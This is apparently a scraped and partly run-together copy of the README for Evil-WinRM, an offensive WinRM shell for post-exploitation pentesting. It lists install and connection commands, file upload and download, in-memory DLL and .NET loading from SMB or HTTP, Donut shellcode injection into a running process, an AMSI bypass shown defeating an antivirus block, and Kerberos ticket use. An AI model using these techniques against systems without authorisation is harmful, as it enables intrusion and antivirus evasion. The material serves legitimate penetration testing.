The ultimate WinRM shell for hacking/pentesting
The ultimate WinRM shell for hacking/pentesting
The ultimate WinRM shell for hacking/pentesting
This shell is the ultimate WinRM shell for hacking/pentesting.
WinRM (Windows Remote Management) is the Microsoft implementation of WS-Management Protocol. A standard SOAP based protocol that allows hardware and operating systems from different vendors to interoperate. Microsoft included it in their Operating Systems in order to make life easier to system administrators.
This program can be used on any Microsoft Windows Servers with this feature enabled (usually at port 5985), of course only if you have credentials and permissions to use it. So we can say that it could be used in a post-exploitation hacking/pentesting phase. The purpose of this program is to provide nice and easy-to-use features for hacking. It can be used with legitimate purposes by system administrators as well but the most of its features are focused on hacking/pentesting stuff.
It is based mainly in the WinRM Ruby library which changed its way to work since its version 2.0. Now instead of using WinRM protocol, it is using PSRP (Powershell Remoting Protocol) for initializing runspace pools as well as creating and processing pipelines.
…Ruby 2.3 or higher is needed. Some ruby gems are needed as well: winrm >=2.3.7, winrm-fs >=1.3.2, stringio >=0.0.2, logger >= 1.4.3, fileutils >= 0.7.2, readline ~> 0.0.4, readline-ext ~> 0.2.0.
Depending of your installation method (4 availables) the installation of them could be required to be done manually.
Another important requirement only used for Kerberos auth is to install the Kerberos package used for network authentication.
For some Linux like Debian based (Kali, Parrot, etc.) it is called krb5-user. For BlackArch it is called krb5 and probably it could be called in a different way for other Linux distributions.
The remote path completion feature requires the native readline-ext binding, which is installed automatically as an Evil-WinRM dependency. Some systems require additional development packages to compile it. Check the section below for more info.
gem install evil-winrmevil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'sudo gem install winrm winrm-fs stringio logger fileutils readline readline-extgit clone https://github.com/Hackplayers/evil-winrm.gitcd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'gem install bundlergit clone https://github.com/Hackplayers/evil-winrm.gitcd evil-winrm && bundle install --path vendor/bundlebundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'If you don't want to put the password in clear text, you can optionally avoid to set -p argument and the password will be prompted preventing to be shown.
To use IPv6, the address must be added to /etc/hosts. Just put the already set name of the host after -i argument instead of an IP address.
upload local_filename or upload local_filename destination_filenamedownload remote_filename or download remote_filename destination_filename Notes about paths (upload/download):
Relative paths are not allowed to use on download/upload. Use filenames on current directory or absolute path.
If you are using Evil-WinRM in a docker environment, bear in mind that all local paths should be at /data and be pretty sure that you mapped it as a volume in order to be able to access to downloaded files or to be able to upload files from your local host O.S.
Invoke-Binary, Dll-Loader and Donut-Loader functions that we will explain below. When a ps1 is loaded all its functions will be shown up.Ctrl+L keyboard shortcut to clear the screen.Ctrl+D keyboard shortcut.…-s argument. Type menu again and see the loaded functions. Very large files can take a long time to be loaded.…Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'. The executables must be in the path set at -e argument.…Dll-Loader: allows loading dll libraries in memory, it is equivalent to: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))
The dll file can be hosted by smb, http or locally. Once it is loaded type menu, then it is possible to autocomplete all functions.
…*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
Donut Loader.
PowerShell Function: Donut-Loader
Author: Luis Vacas (CyberVaca)
Based code: TheWover
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin
Description
-----------
Function that loads an arbitrary donut :DYou can use this [donut-maker] to generate the payload.bin if you don't use Windows.
This script use a python module written by Marcello Salvati ([byt3bl33d3r]). It could be installed using pip: pip3 install donut-shellcode
python3 donut-maker.py -i Covenant.exe
___ _____
.'/,-Y" "~-.
l.Y ^.
/\ _\_ Donuts!
i ___/" "\
| /" "\ o !
l ] o !__./
\ _ _ \.___./ "~\
X \/ \ ___./
( \ ___. _..--~~" ~`-.
` Z,-- / \
\__. ( / ______)
\ l /-----~~" /
Y \ /
| "x______.^
| \
j Y
[+] Donut generated successfully: payload.bin*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>First you have to sync date with the DC: rdate -n <dc_ip>
To generate ticket there are many ways:
Add ticket file. There are 3 ways:
export KRB5CCNAME=/foo/var/ticket.ccache
cp ticket.ccache /tmp/krb5cc_0
Use the -K parameter: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache or evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi
When using -K, the tool will automatically:
KRB5CCNAME environment variableAdd realm to /etc/krb5.conf (for linux). Use of this format is important:
CONTOSO.COM = {
kdc = fooserver.contoso.com
}Check Kerberos tickets with klist
To remove ticket use: kdestroy
For more information about Kerberos check this [cheatsheet]
This feature requires the native readline-ext binding. Evil-WinRM declares it as a dependency, so it is installed automatically when using RubyGems or Bundler. If the native extension cannot be built, this feature will not work (a warning will be shown).
Ruby 3.3+ note:
ext/readline was removed from Ruby's source in 3.3 (Feature #19616). Therefore, Method 1 below cannot be used with Ruby 3.3 or newer. On Debian-based systems, install the required development package before installing Evil-WinRM or its dependencies:
sudo apt install libreadline-devThe readline-ext dependency makes require 'readline' load GNU Readline instead of reline, which lacks quoting_detection_proc, the method Evil-WinRM checks for. The methods below target older Ruby versions and are kept for compatibility.
Using this method you'll compile ruby
No open issues yet, or sync has not completed.